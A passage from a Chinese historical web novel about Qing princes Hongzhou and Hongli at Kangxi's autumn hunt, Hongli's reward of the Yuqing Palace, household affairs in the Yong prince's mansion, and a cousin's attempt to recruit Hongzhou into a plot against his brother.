这样的小插曲很快就被他们抛在了脑后,回去暂住的地方时,四爷还未回来这让弘昼略微松了口气,还好还好,自己没有回来晚了。 在承德避暑山庄住了两三日后,康熙便带领众人去适合围猎的地方安营扎寨。这次弘昼和弘历就不能自己去偷偷看热闹了,四爷将他们带在了身边。 带过来的人不少,扎下去的营帐似乎将这里变成了一座城。其中最中心的位置就是康熙所驻扎的营帐,设“黄馒城”,那一片都是黄色的,极为显眼。 外环鹿角栅栏,王子大臣还有蒙古王公的营帐,按照等级分布,围绕在康熙的营帐外围。 另还有一处已经建好了看城,那是康熙明日要带着人登上去检阅的地方。 围猎的第一天,弘昼早早地就被叫醒了。打眼一看,连天都还未亮,似乎一下就梦回了上书房。营帐外面已经传来了马蹄踏在草地上的声音,这是管围大臣在率领蒙古和八旗子弟的骑兵在进行布围。 就是骑兵们分两翼展开,头戴鹿角、身披鹿皮,模仿鹿鸣驱赶野兽至围场中心。这个过程至少需要一个时辰,管围大臣要在康熙登看城之前将围猎的场地布置好。 弘昼穿戴好衣裳后带着好奇心往外走去,本来是想要看看是怎么驱赶野兽的。但他还没出营地就被送了回来,看他的年纪实在是太小了,守着营地的侍卫又怎么敢将他放出去呢? 若是跑出去遇到了危险,到时候一追责下来,当天所有值守的侍卫都要遭殃。 被赶回去的弘昼带了点遗憾地往回走了,看来这个热闹是看不成了。那还是回去吃早膳吧,吃饱了才有力气狩猎。阿玛说了今天他和四哥都是要下场的,到时候若是得了个倒一回来,他肯定要责罚的。 回营帐的时候,弘昼就看见自己旁边的那座营帐也点起了灯。 旁边的是四哥的营帐,点起了灯说明四哥已经醒了。弘昼当即决定要去四哥那里蹭饭,自己一人吃多无聊。 走进弘历的营帐,他此时正在换衣服,听见有人进来了,往这边看了一眼。见是弘昼,看了一眼后又收了回去继续慢条斯理地换着衣裳。 弘昼很自然地走到了桌子边坐下,给自己倒了一杯奶茶喝了一口,吩咐道:“去把膳食取来,把我的那份也取来,我在这里吃。” 弘历的贴身小厮笑着应了一声,看了看自家主子的脸色,见他似乎并没有要阻止的意思,便出了营帐去拿膳食。 这里早就设了临时的厨房,弘昼他们更是自带了厨子,定然是早就已经准备好了膳食,等着他们的人去拿呢。 “你今天怎么起这么早,我还以为要换好了衣裳去你帐篷里把你揪起来呢。”弘历坐在了弘昼的身旁问道。 难为弘昼今日竟然没有赖床。 弘昼有点蔫蔫地说道:“就外面那个马蹄声,我想要睡也要能睡得着啊。本来是打算出去看个热闹的,但是那守着营地的侍卫不让我出去,把我给打发回来了。” 这一听弘历就笑了出来:“早些起也不错,将早膳用了后咱就得去找阿玛了。” 很快地,早膳被拎了过来。有很多蒙古特色的食物,酥油茶和糌粑都有,但弘昼还是更为偏爱旁边摆着的粥,他是不大能吃得惯这些东西的。 用过了早膳后,天色已经变得蒙蒙亮了,外面的马蹄声也没有刚刚听见的激烈了,应当是布围快要安排好了。 弘昼和弘历来了阿玛的帐篷,四爷的帐篷比他们的要大不少,里头的摆设和布置明显也豪华了许多。弘昼甚至看到了几件摆着的瓷瓶和书画,在心里默默腹诽了一下阿玛,书画也就算了,瓷瓶拿过来摆着看干什么。 四爷此时也才刚起床,正在用早膳,见他们来了微微抬了抬眼皮问他们用过没有。得知他们已经用过了,便略指了指旁边,让他们过去等着。 其实按规矩来说弘昼和弘历应该等在帐外的,但四爷现在如今府中得用的也就这两个孩子了,又正好是该教养的时候便不自觉地和他们亲近了些。至于府中的弘时,在四爷的心中这个孩子以后没什么能委以重任的价值了。 弘昼听话地和四哥走到了一边,开始打量着阿玛的帐篷。别的不说,自家阿玛的这个审美是真不错,不论是王府中的书房卧房还是外出小住的帐篷布置的都很是雅致。 帐中浓艳的色彩并不算多,更多的是些清新的颜色,瞧着就让人觉得清爽。这也让弘昼想起了四哥这和自家阿玛截然不同的审美,弘历喜欢的都是些浓艳的颜色,更爱花团锦簇的美感。 待四爷慢条斯理地用过膳后,便带着他们去拜见康熙了。 这两年间,虽说康熙来上书房考校皇孙们的次数变少了,但弘历和弘昼见这位皇玛法的次数却一点也不曾减少。托阿玛受看重的福,弘昼能见到康熙的次数要比旁的皇孙多多了,甚至有回他因为这个受到了堂兄弘昉阴阳怪气的羡慕。 康熙的头发已经是白色多黑色少了,他的精神不错,来木兰秋狝的时候即便精神不大好也不能教人看出来。那些蒙古的王公们可不都是绵软的小羊羔,多的是尚未露出獠牙的狼。 他见四爷带着弘昼还有弘历前来了,显然有些高兴:“今儿围猎,弘历和弘昼可是要下场?” “他们岁数也到了,”四爷站在康熙身边笑着,宛若一对寻常的父子在唠家常一般说道,“也该下场去瞧瞧了,只求不要一只猎物都射不*到。” 听见阿玛这样说,弘昼的眼皮微微跳了跳。昨天阿玛可不是这样说的,他明明说倘若争不到上游,那回来就加练。 “诶,”康熙摇头笑道,“弘历弘昼在上书房的时候骑射就好,怎么会一只猎物都射不到呢?若是能拔得头筹,那皇玛法还另有奖励。” “皇玛法要给孙儿们什么奖励?”弘昼见康熙似乎心情不错,追问了一句。 康熙笑道:“自然是极好的东西,你们能拔得头筹了自然能给你们。若是表现不佳,那可就没有了。” 四爷飞过来了一个眼神,让这两个小子定要努力些。 在这里聊了一会儿后,马上就是康熙登看城的时候了,外头天色已经大亮,不论是京城带来的王公大臣还是蒙古过来的王公大臣都已经候在帐外了。 康熙起身,四爷便急忙上前想要扶,从五六月份那一场大病后康熙身体便愈发差了,最差的时候走不了路也写不了字。康熙却坚定地将四爷的手推开了,直直走向了帐外。 帐外众人见康熙出来了都行礼问安,九爷瞧见四爷和弘历还有弘昼跟着康熙后面出来的时候向天翻了个白眼。 康熙的步伐很稳,带着众人便往看城走去,准备去观围。能登看城的人并不多,甚至不是所有皇子都能去的,弘昼和弘历自然也只能在下面等着。 看城极高,康熙带着人上去后查阅了一下管围大臣的成果,满意地点了点头。这瞧着猛兽不少,这次应当能有不少打猎的好手出现。 观围结束后,便是康熙带头射猎,射中了一头野猪后其余人都能自行去射猎了。 弘昼骑在琥珀上面,身后跟着一队的侍卫。他们这些进去打猎的人,旁边都是要跟着一队的护卫,这些护卫是统一派出来的。一来是帮忙收捡战利品,二来则是保护这些王公贵族们,免得在里面遇到了什么危险。 和四哥互相对了一个眼神后,弘昼夹着马腹便冲了出去。他从前只猎过最简单的兔子野鸡之类的,京郊也没有什么大型野兽来让他狩猎,这次肯定要过个瘾。 今日的狩猎能从上午一直狩猎到下午,弘昼自己也是带了点中午的干粮的,预备着等黄昏了再回去。毕竟听皇玛法说这个话,又看到阿玛的眼神,他这次要真不争气只猎到一两个小猎物,估计回去就要被阿玛罚了。 好在弘昼的运气似乎不错,一上午就猎到了不少的猎物,其中甚至有一头鹿还有一头野猪。当然了,其中少不了侍卫们的帮助。 猎到了这两个大家伙,弘昼也就不着急了。有这两个东西在,他再怎么也不会垫底的,毕竟肯定有找不到大家伙的倒霉蛋。所以下午的时候,弘昼骑着马在里面溜溜达达的,只射了两只野兔和一只野鸡,比起上午的收获要少多了。 返回的时候弘昼还有些遗憾,听说这里面有老虎和黑熊的,可今天竟然一个都没看到,真是可惜。 到了营地,便马上有人迎上来统计猎物了。射猎的猎物是要记入档案的,若是猎得太少了是要被责罚的,猎物多了也有相应的奖励。 到了晚上,所有出去射猎的人都回来了,猎物也都统计出来了,康熙大宴群臣。 弘昼在营地待了半个时辰才看到四哥回来,一看见他就迎上去问道:“四哥你收获如何?” 此时的弘历正在拿着一个水壶往自己嘴里灌水,解了口渴后才说道:“还不错,猎到了两三头狍子,一头鹿,还有些狐狸野兔之类的小东西。” 弘昼一听就知道四哥的收获不菲,脸上顿时就出现了笑意。 晚上大宴群臣的时候,康熙便命太监上前唱名,猎得多的有赏。 这个其实是按照岁数来奖赏的,成年的算一个赛道,而弘昼和弘历这样半大小子则是和半大小子竞争。当然,最受重视的肯定是成年了猎得最多的人,受奖的人若是来自蒙古的多些,京城跟来的便会觉得有些抬不起头,反之亦然。 等这些成年的得奖的都说完了之后,弘昼才抬起头来注意着上面。他觉得他和四哥得奖的可能性还是有点高的,毕竟他们这个年纪的很少能猎到大型猎物。 果然,太监报出的第一个名字便是弘历。 第86章 毓庆宫 四周的不少目光聚集到了弘历的身上,弘昼甚至看到了有几个叔伯偷偷瞪了一眼他们家的孩子,似乎是在怨怪孩子不争气。 康熙的目光也转向了弘历,眉眼间逐渐染上了笑意,朗笑出声:“弘历这孩子不错,不仅书念得好,骑射也好。我们八旗子弟的马上功夫可不能丢,很好。” 坐在下首的四爷脸上也浮现出了一丝笑意,特别是看到老八老九还有十四他们家中的那几个孩子都被弘历压了下去,他便更高兴了。虽说他自幼便不善骑射,但他的孩子还是承了汗阿玛的功夫,不论是骑马还是射箭都是拔尖的,弘历好,弘昼也不算差。 坐在下面的蒙古王公虽然不知道弘历是谁,但听这个名字的“弘”字就知道必然是恩赫阿木古朗汗的孙子,见康熙脸上带着笑意的样子便很是上道的开始称赞。 “果然是少年英豪。”科尔沁的左翼中旗的达尔罕亲王笑道,“我们部落擅打猎的少年郎也不少,但今日竟都被压了下去,只不知道是哪位少年英豪。” 康熙往弘历的位置一指:“喏,那呢。今儿你既然拔得头筹,那皇玛法今日便赏你……” 说到这里的时候康熙沉吟了片刻,后笑道:“便赏你赐居毓庆宫,日后便在朕的跟前行走。” 这句话并不长,但一落地便让全场安静了下来,九爷手中的酒盏没拿稳落在了地上发出了响亮的声音。这一声似乎砸在了八爷一党的心中,他们清楚地听到了自己彻底失败的号角。 之前老四一直被汗阿玛看重,但不到最后一刻他们都能想着自己还没输。但现在老四虽然没有被封太子,但老四的儿子可已经住进毓庆宫了! 要知道毓庆宫是什么地方,那是康熙十八年时老爷子专门修出来给太子住的。现在太子虽然已经被废圈禁在了重阳宫,但是这个宫殿的意义是不一样的,这可是真正意义上的东宫。 所有的皇子,不,应该说在场的所有人都知道毓庆宫代表着什么。让老四的孩子住进去了,已经是皇上在明说他的下一任继承人了。 弘历的嘴微微张大,他有点没反应过来。他想过这次的奖励可能是金银财宝,也可能是差事爵位,但从来没想过竟然是这样一件有象征意义的事情,怔愣之下甚至忘了出去行礼谢恩。 弘昼赶紧推了一把四哥,让他快点出去给皇玛法磕头谢恩。他也知道宫里的毓庆宫,也明白皇玛法此举是什么意思。现在他的心中只有一个想法,要是……那自己是不是就不用等成年了去内务府考封了。 被弟弟推了一下,弘历反应过来之后立刻出去行礼谢恩。 八爷的目光渐渐扫过了弘昼和弘历,原本已经牵平的唇角又微微扬了起来。这一同长大的兄弟俩,年龄都一样大,都一个被选到了皇上身边甚至入主了毓庆宫,另一个却还在阿哥所住着。 心态又如何能平呢? 这样想着,八爷的笑意越发的温和。从前弘旺分不开他们兄弟俩,但是现在老爷子已经将已经挑到了他的身边,那另一个待在上书房的自然和兄长做不到能和之前一样毫无芥蒂了。 坐在八爷身后的弘旺紧紧地盯着弘历的动作,放在桌案下的手已经紧握成了拳头。他的身体较弱,骑射一贯不如人,但若是知道皇玛法这回竟然是这样的奖励,那他肯定不择手段也会拔得头筹的。 还不知道已经被盯上了弘昼高兴地喝了两口蜜水,其实他是可以喝酒的,大清朝可没有未成年不能饮酒的规矩。但他知道酒精的危害,日常还是喝蜜水和茶水更多些。 弘历谢恩回来后,康熙便将话题引到了别处,只是这一场宴席下来往弘历这里盯的人却不曾减少。 “四哥,”弘昼微微凑近了四哥问道,“你要搬到毓庆宫去了,那阿哥所的院子是不是就归我一个人住了?” 弘时被拘在府中后,阿哥所的院子就归了弘昼和弘历。但他们也没有搬到正房去,只是住得微微宽敞了些。但现在四哥既然要走,这一整个院子都是自己的,弘昼就开始动了想要搬到正房去的念头了,毕竟正房的房间真是大。 日后正房当了他的卧房,东厢房和西厢房就可以改成待客的地方还有书房了,简直美滋滋。 “应当是吧。”回来就被弟弟问了这个问题,弘历思考了片刻后笑道,“我走了你可宽敞了。” “那是,”弘昼笑着打算道,“毕竟这一年里回家的时间满打满算也就三十天左右,其余的时间都要待在宫里头。能住得宽敞些自然是最好的,嘿嘿,我已经算好了要将你现在住的西厢房改成书房了,到时候东厢房改成茶室。” “我这还没搬出去呢,你就打算好了?”弘历微微一扬眉,“是不是早就想把我赶出去了。” 弘昼故意重重点了点头:“你才知道?” 弘历祥怒:“那你以后别想着来我那里蹭点心吃了,听闻毓庆宫可是和乾清宫一样都是御膳房供给的膳食点心。” 御膳房的点心是真的好吃,弘昼听到这话顿时就转了一个态度:“哎呀四哥我开玩笑的,我怎么可能想把你赶出去呢,我盼着咱们兄弟一直能住到出宫呢。” 听着弘昼的话,弘历露出忍俊不禁的神情,心里终于放松了些。 刚才听见皇玛法说让他去住毓庆宫的时候,他心里自然是极为喜悦的,但冷静下来后便免不了有些担忧弘昼的看法。同是一家子的兄弟,他不愿意因为这些争权夺利的事情让弘昼和自己生分,好在弘昼一直都是这样的人,不会因为这些和自己疏远。 回去之后,四爷在帐篷里看着两个已经孩子,脸上终于露出了真心实意地笑:“你们做得不错,弘历,日后我们雍亲王府的旗子就要靠你扛起来了。日后入住毓庆宫在你皇玛法身边后,切记小心,要不骄不馁方可。” “孩儿知道。”弘历肃着神色答道。 四爷又转头看向了弘昼:“此番回去后,上书房中必然有许多人会前来试探于你。弘昼也要小心些,莫要中了圈套。” 弘昼也绷着脸点了点头。 见两个孩子都答应了,四爷神色更轻松了些,说道:“你们做得不错,这次回去后便将你们额娘的月例待遇提到侧福晋吧。你们额娘的院子也住了多年了,我记得玉池院和泗水院旁边都有些空地,便往外挪挪扩些位置吧。” 弘历和弘昼的眼睛一同亮了起来,格格和侧福晋的月例待遇相差极大,但这并不是他们高兴的主要原因。 主要原因还是只要提了月例待遇,便是默认了日后要提为侧福晋的。别的不说,府中的下人们还有其他的人都会高看一头。更别提还给扩院子了,那居住环境就会更高了。 侧福晋和格格最大的不同,是侧福晋是上报了礼部也上了皇家玉牒的,算得上是外命妇,并不是可以随意处置的人。而格格并未上玉碟,身份只是比侍妾高上一级。 若是只赏赐自己,弘昼可能都没有这么高兴,一听到额娘的待遇提了,嘴角便是压不住的喜悦。 见两个孩子都面露喜色,四爷挥了挥手示意他们可以退下了。 在围猎的地方待了五日,康熙便率领众人回了承德避暑山庄。在这里待了半月便预备着返回京城了,此时已经九月了,天气虽然还是炎热但很快就要到凉爽的秋季了,说不定到了京城便能感受到凉爽的秋风了。 和前来承德避暑山庄时骑马时感受到的难受不同,弘昼在回去的时候已经适应了很多了。除了被沾上一身的灰尘无法避免之外,其余的他都已经适应了。 回到京城的时候,正是九月份。已经逐渐开始有枯黄的落叶从树梢落下,高悬于天上的太阳也不再散发似乎灼烧般的炎热。 弘昼回雍亲王府的第一件事就是去找额娘,将四爷给他们待遇提了这件事说了出来。 耿执羽拿着扇子轻轻地给弘昼扇着,见他额头上都是跑出来的汗水心疼道:“这件事定下来了就不会跑,你这么着急做什么?你阿玛半月前就给福晋传了信儿,这月我和钮祜禄姐姐的月例就已经变了。” “半月前就传了信儿?”弘昼愣了一下,“那这院子?” 弘昼之前去给李侧福晋还有年侧福晋请安的时候见过东侧院和西侧院,比自家额娘还有钮祜禄额娘的院子加起来还大。他之前便想过等自己长大了将额娘接出去了一定要给额娘住大院子,所以这次对院子格外的敏感。 耿执羽手中的扇子轻轻摇晃着说道:“我和你钮祜禄额娘商量了一下,月例可以领,但这院子就免了。如今你们都在宫里头念书,我们这也不急于一时。” 虽说一直待在后院,但毓庆宫的重量钮祜禄格格和耿执羽都是明白的。这个时候就越是不能拖孩子后腿,这院子都住了十几年了,本身并不逼仄,又何必再折腾呢? 听了额娘的解释,弘昼点了点头表示明白,既然额娘们商量好了就是了。 正院 四爷一回府换了衣裳就去了正院,他要找福晋商量些事情。 福晋要和外头各家女眷交际,有些事情是必须知道的,免得到时候中了人家的圈套都不知道。 第87章 继续念书 “前些时候爷派人回来传信说让耿氏和钮祜禄氏的份例往上提成侧福晋,”福晋亲自给四爷奉了茶说道,“这个妾身已经办妥了,只是这两位妹妹说在那两个院子已经住惯了,便不必往外扩了,说是这般招摇对两位小阿哥不好。” 四爷接过茶盏的手顿了一下,微微有些不悦。他不喜欢旁人忤逆他,不论这个忤逆的借口是什么,但随即心中又升起了一抹赞赏。 不论是钮祜禄氏还是耿氏,对于四爷来说都是略有些模糊的影子,这两个人的性子并不太得他的喜欢,长得也不是他喜欢的类型。是从有了两个孩子后四爷才略微将这两个格格看在眼中的,从前他们在他眼中和武氏宋氏之流的并无区别。 现在弘历和弘昼长大了,这两个格格的分量在四爷的心中也逐渐开始增多了。他对这两个孩子还算满意,自己对于将他们生下来的两个格格多了一丝满意之色,便也不吝啬于给她们些体面。 听见这两个格格并没有因为养了个好儿子而失了分寸,四爷心中便也满意了下来。不错,不愧是能养出弘历和弘昼这两个孩子的。像李氏,从前便没有分寸,便养出了弘时这样的孽种。 “那便依他们所说的吧。”四爷沉声说道,“最近福晋出去交际要小心些,切莫因为一时的风头都被传出不好的名声。” 这是在提醒福晋不要因为外面那些奉承的话飘了,四爷最近在外面都受到了不少的奉承,也明白福晋受到的奉承不会比他少。但是这还未落定尘埃的事情,便还是要保持警惕,若是让什么骄纵跋扈的事情传到汗阿玛耳中去了,那他这几年所做的事情就功亏一篑了。 “爷放心,”福晋坐在了四爷身边,旗袍下的身体在一瞬间显现出了矫健的姿态,“妾身自然明白此时该用什么样的态度去面对旁人,自不会因为这一时的得势便不知天高地厚。” “福晋办事,我是放心的。”四爷微微点了点头,将外面一些需要注意的事情一一告知,这么多年来他虽然并不大来福晋这里,但心中对这个福晋还是满意和敬重的,在这些方面她一直都做得很不错,即便四爷是个挑剔的人在这方面也挑不出自家福晋的错处来。 谈完了正事之后,夫妻俩便相顾无言了起来,不多时,四爷便起身要往西侧院而去。 目送着四爷离开后,福晋倚靠在椅子上思索着事情。 桂嬷嬷走了进来,抱怨道:“这爷今日刚回来,福晋怎么就把人放去西侧院去了呢?” “年侧福晋有了身子,爷多惦记她也是常理。”福晋声音慢慢悠悠的,她从来在意的就不是这个,四爷不论喜欢谁,只要不在地位上越过了她,她都能淡然处之。 “可是,您……”桂嬷嬷欲言又止,她总觉得自家福晋虽然年纪已经有些大了,但未必生不出孩子,这外头的三四十的贵妇生孩子的多着呢。 但她也知道自家福晋不喜欢听这些东西,连坐胎药都已经停了多年了,便咽下了嘴中的话。 “对了,”福晋似乎是想起了什么,唇边溢出了一丝笑意,“温岚如今在坐月子了,记得给她送些东西。温术的孩子也大了,若她想接着回来伺候便将她接回来。” 温岚和温术都是七八岁就跟着福晋的,这两个人虽名义上是侍女,但福晋对她们不免多了些对小辈的疼爱。前几年见她们的年纪到了,看好了外院的侍卫便将她们嫁了出去。 现在嫁人了,若是愿意的话还能回来她身边当嬷嬷。 “福晋心慈,”桂嬷嬷回道,“她们定是愿意回来的,要知道在福晋的身边可不比旁人。之前这些婚嫁大事还要去问她们愿不愿意,丫鬟们怎么好意思在您面前说,您看好的人必然就是好的,直接将她们发嫁出去就是了。能这般得主子的看重,也是她们的福气。” 福晋的声音似是有些惆怅:“还是要她们自己愿意才好,这夫妻……” 另一边,四爷从正院出来了就直奔了年侧福晋的西侧院,他一直都惦记着这个怀着身子的人。 年侧福晋细算算入府其实也已经有快十年了,生下来了两个孩子皆是没养活。所以对于这一胎,不论是四爷还是年侧福晋都极为重视的。 算起来年侧福晋这一胎也有六七个月了,她的肚子已经隆起来很明显的一个起伏。此时正挺着大肚子站在院中,等着四爷前来。 爷回来要先去正院这她知道,同时她也有信心爷去了正院后一定会往她这边来。 “侧福晋,要不咱们进去等吧。”田嬷嬷有点担忧地说道。 年侧福晋摇了摇头笑道:“不碍事,太医也说了让我要出来走动走动日后才好生产,今日还没有出来活动过呢。再等一刻钟,倘若等不到就回去了。” 旁边有小丫鬟搀扶着年侧福晋,年侧福晋在这院中慢慢走了起来。她这一胎不是头胎了,本不该这样担忧的,但想着前两个都没养活年侧福晋就不免在心中想是不是自己在孕期做了什么不对的事情,才让这两个孩子没留住。 是以她反而更加注意了,太医说的话全都好好遵守。 田嬷嬷无法,只能在一旁陪着年侧福晋。 没一会儿,四爷就进了西侧院的院子,第一眼就看到了在院中的年侧福晋。两个月前,年侧福晋的肚子还没有这样大,四爷一见便有些心疼。 “怎么在院子里等着,”四爷走上前拉住年侧福晋半扶着她进了屋,“在屋子里等着便是了。” 年侧福晋的脸上露出了惊喜的笑:“不碍事的,太医也让妾身每日里在院中走动走动,到时候生产的时候才能不吃苦。” 听见是太医说的,四爷脸上的表情一松,走进屋内后便让伺候的人都下去了。 田嬷嬷他们很有眼色地给四爷上了茶就退了下去,两位主子的感情好,四爷走了一两个月了,定然有许多的事情要和侧福晋说的。 四爷抬起手在年侧福晋的肚子上轻轻抚了抚:“我走的这些日子,孩子可有闹你?” 年侧福晋摸着自己的肚子,清瘦的脸上笑意明显:“这个孩子倒是个乖巧的,一直不曾闹妾身呢,想来定然是个格格。” “格格?”四爷想了想笑道,“格格好,若是格格便能一直陪在你身边了,还是格格好。若是小阿哥,那可就要三岁就搬出来了。” “那妾身还是宁愿这胎是个格格,”年侧福晋看着自己的肚子,似乎在透过这个看着旁的什么,“妾身就是喜欢格格,到时候教她读书认字,教她弹琴绘画,也能打扮得漂漂亮亮的。” 四爷似乎也通过年侧福晋的话心中勾勒起了一个形象,他看到了怀恪小时候的样子:“若是个女儿,同她姐姐一样也不错。怀恪自小就懂事,不论是骑马射箭还是读书认字,都要比弘时强多了。” 年侧福晋的手微微一顿,提起孩子的姐姐她想到的是那个没养活的孩子,但是爷却想到了怀恪郡主。不过像怀恪郡主也好,像怀恪郡主能平平安安地长大。 * 在府中只待了两日,弘昼和弘历就又去宫中要念书了。 毓庆宫原本一直是被封着的,但康熙在围猎的时候说了那番话后,毓庆宫便被内务府安排的人打扫得干干净净的了。 回宫的这一日弘昼跟着四哥去毓庆宫看了看,有点失望:“原本以为这毓庆宫名声在外,应该挺宽敞的。” 这毓庆宫和阿哥所的院子比肯定算得上是宽敞的,但面积还不如弘昼在雍亲王府的院子。而且看上去普普通通的,若非有其他的寓意,这毓庆宫看着就是个简单的小院子。 弘历上下打量了一下,唇边的笑意渐渐蔓延开来。他并不在意毓庆宫是什么样子的,即便毓庆宫只是个搭起来的棚子,但只要能在这里住,就意味着别样的意思。 下人们将东西一一搬了进来,弘昼问道:“四哥,你搬到这里是不是日后就不用去上书房念书了?” 弘历点了点头:“皇玛法让我在他身边行走,阿玛说我就不用去上书房了。” 在府中的这两日,四爷叫弘历去书房,父子之间谈了一个时辰的话。 “真好,”弘昼的眼睛里的羡慕要溢出来了,“我也想不用去上书房了,你可算告别丑时就要起床的日子了。” 弘历摇头:“在皇玛法身边,可未必比在上书房轻松。” 这其实是肯定的,在康熙的身边弘历必然是要一直殚精竭虑,时时事事都要留心。说不定比起来,在上书房的日子还会更轻松些。 弘昼转念一想也是,羡慕顿时就被吞下去了些。他不是什么有大志向的人,也不想要在皇玛法这样注定身边有很多算计的人身边生活。 在毓庆宫待了会儿,弘昼就回了阿哥所,四哥是不用去上书房念书了,可他明日还是要去的。还是得早点回去睡觉,不然明天起床肯定会头疼的。 第二日,弘昼刚到上书房就受到了不少人的瞩目。一个个的眼神似乎要将他盯穿了一般,让弘昼有些不适应,勉强忽略了他们的目光回到了自己的位置上拿出一本书来翻看着。 这些日子他需要格外的谨慎,这是阿玛在府中的时候嘱咐他和四哥的。 但弘昼没想到的是,他是谨慎了,但架不住别人当他是傻子,算计他直接摆在了面上。 第88章 想要打败你四哥吗 回到上书房的几天内,弘昼适应了众人盯着他看的目光。其余人在头两天盯了弘昼看一阵子后,便也不再盯着他看了。 这位的哥哥已经住到毓庆宫去了,日后说不定有些事情还会求到他面前去。在上书房当同窗的时候即便不大好关系,也没有必要去交恶。 甚至有些阿玛在康熙面前不受重视的,已经在盘算着趁着现在日日都能在上书房见到弘昼,和他打好关系了。自家阿玛不受重视,等皇玛法百年之后顶天了爵位也就升上一级,这个爵位还只有一个儿子能继承,现在和弘昼打好关系了说不定日后能从政走出自己的路子。 对此弘昼有些烦不胜烦,他现在依旧还是和弘曈弘暻的关系不错,平日里和弘暾弘晈来往得多些。旁地想要凑上来的人,多是敷衍一二便罢了。 但令弘昼没想到的是,除了这些凑上来想要打好关系的,还有原本就看不惯他的来找他麻烦了。 打头的就是弘旷,但弘旷还算是好打发的,一般都是阴阳怪气几句话,弘昼懒得理他的时候就当耳旁风了。心情不高兴的时候,便回嘴回去。 这当中有一个弘昼不好拿捏分寸的人,他既不是直接凑上来讨好,但又没有直接上来就攻击,这就是弘旺。他表面上似乎是准备和弘昼打好关系,但他一直以来至少在面子上对弘昼是很友善的。 但实际上,弘昼听见他说话就忍不住皱眉了。因为弘旺说的话表意上似乎是好的,但细想一下就能听出在挑拨弘昼还有弘历的关系。 什么兄长得势你可无忧矣,什么你哥哥在皇玛法身边行走,那日后你要办差事的时候只需求一求你哥哥便是了。还有就是,你们兄弟俩年纪相近,怎么你阿玛把你四哥推上去了,只可怜了你还在这上书房熬着。 这挑拨的水平并不算高明,弘旺其实是有些失了分寸的。他在承德避暑山庄的时候心里就压抑着一股怒火,他自问并不比弘历差,自家阿玛也不比四伯差。但这些年来,皇玛法却屡屡偏心。 他现在一看到弘昼,就想起已经搬入了毓庆宫的弘历,心中宛如有一把火在烧一样。 这样的话初听没有什么,但若是真的十来岁的孩子挺多了心中也不免会犯嘀咕。就是啊,一家子兄弟又没相差多少,不论是岁数还是身份都相差无几,凭什么让四哥占尽了好处。 但弘昼并不是这样的人,他清楚地看见了四哥为了在阿玛和皇玛法跟前露脸做了多少努力。甚至在散学回院子的时候,都会捧着一本书来温习先生教的东西。若是骑射没有练好,那就练习两次三次四次直到练好为止。 所以在听到弘旺这种面上似乎是为他好,但实际听起来很刺耳的话时,弘昼一般是不搭茬的。 大多数人在收不到反馈的时候多半是会讪讪离开,但弘旺不一样,他竟然越挫越勇了。 “如今你这字写得越发好了。”弘旺很是不见外的从弘昼的书案上拿起一张他写的大字,练字并不是一朝一夕的功夫,他们现在还是每天都要练,只是不必交给先生检查了。 弘昼微微皱起眉从书里抬头,他不客气说道:“若是堂兄无事的话,不如去看看书。要真闲得没事,便去找先生要两篇文章读读也是不错的。” 弘旺拿着大字的手一滞,不过他最近听了不少弘昼的冷言冷语,如今已经免疫了,只是笑道:“我瞧着你的字越发精益了,倒是要比我写的好多了,比你四哥更是强出不少去了。” 对于其他方面,弘历只要下了功夫就能看到成果。但就是练字这一方面,不论花出去了多少心力,弘历现在写的字也只能说勉强还能看了。 弘旺从这个切口打开话题,没等弘昼说话又道:“方才我在旁边听着,你如今念书也越发勤奋了。只是听闻你四哥如今跟在皇玛法身边已经不用念书了,想来过个两个月你在学问上肯定就能超过他了。” 那可未必,弘昼在心里腹诽了一句,四哥这个倒霉蛋学业可是不能落下的。他在皇玛法身边行走,但每月回府的时候阿玛还是要考校他功课的,他办事之余还要自学。 弘昼前几天看到四哥,都觉得他瘦了一圈了。 见弘昼还是不搭茬的样子,弘旺在心中咬了咬牙。他几年前挑拨弘时的时候都没这么麻烦,那时候隐于暗处不过几句话就让弘时和他的两个弟弟离了心。 现在明明这两兄弟已经分开了,一个在皇上身边一个在上书房,这样不平等的情况之下是最好挑拨的。但这个弘昼却偏偏什么都听不进去似的,从来不搭自己的话。 难不成当真有这样不争的人?弘旺的心中闪过了这样一句话,但随即就被他自己否定了。 阿玛从小就教育他要去争,只有争才能成人上上。阿玛就是因为争了才能从皇子中脱颖而出,母族身份不显但也在朝堂上翻云覆雨。若是阿玛没有争的话,如今的处境恐怕也就是一个十二叔罢了,在朝堂和宫里当个小透明,管着内务府的差事,爵位却只混上了个贝子。 弘昼在上书房绝对不是混子那一类的人,他既然不是混子,便代表了他会争。看见四哥如今俨然已经与他所处的位置不同了,当真能无动于衷吗? 这几天弘旺的试探几乎每日都要来两三次,弘昼已经有点烦了,他抬起眸看着弘旺,沉默片刻后打算把这件事挑开了说:“你打的什么算盘我很清楚,还是早些放弃吧。你挑拨的话术实在拙劣,让我很难上钩啊。” 终于得到了弘昼的回应,弘旺也不在乎他的回应是不是自己想要的,坐在了弘昼的对面。 此时弘昼所在的这个屋子的人并不多,这个时间大家都选择出去透口气,等会儿先生来了就要听先生讲一上午的课了。 “是不会上钩,还是在克制自己?”弘旺看着弘昼,“如今看着你四哥身处那个位置,你当真不会羡慕嫉妒吗?我可以帮你,你和弘历不论是年纪还是身份都相差无几,只要他下去了,你就一定能上去。” “我知道你是在顾忌四伯,可只要弘历被拉下去了,四伯能用的儿子就只有你一个了。不*论他心中是怎么想的,都会把你扶上去的。” “如今我阿玛和四伯的斗争明显已露颓势,十四叔更是已经被打发到了青海。”弘旺盯着弘昼的目光灼灼,声音却逐渐低了下来,近乎耳语,“现在的情况下,四伯上位已经是板上钉钉的事情了。那等四伯上位后,你难道就能对太子之位甚至……无动于衷吗?” 弘昼一下子就被镇住了,他本来以为这位堂兄就是过来打卡挑拨一下自己和四哥的关系的。前几年间,弘旺想起来了也会过来挑拨一下,只是他一直没有上钩罢了。但没想到弘旺竟然已经想到了这里,现在皇玛法虽然身体不大好了,但还好好地在乾清宫处理政务呢,竟然已经想到了自家阿玛继位的事情了。 “你在说什么,”弘昼的眼神一下子就警惕了起来,他有点怕这是弘旺给他下的套,“我不明白。” 弘旺的声音急促了些:“你怎么可能不懂!现在四伯就三个儿子,弘时早就被他放弃了,只要我们联手弄掉弘历,你就会是四伯的继承人。到时候等你上位之后,我也不要别的,一个和硕亲王的爵位就行了。” 弘昼左右看了看,见这上书房中一个人都没有,显然是弘旺早早就打点过的:“那你的算盘就打错了,我府上的年侧福晋这两个月就要生了,到时候生出个弟弟来说不定阿玛会更看重他。况且你把我当成什么了,我如今都还是白身呢,如何能许你一个亲王的爵位。” 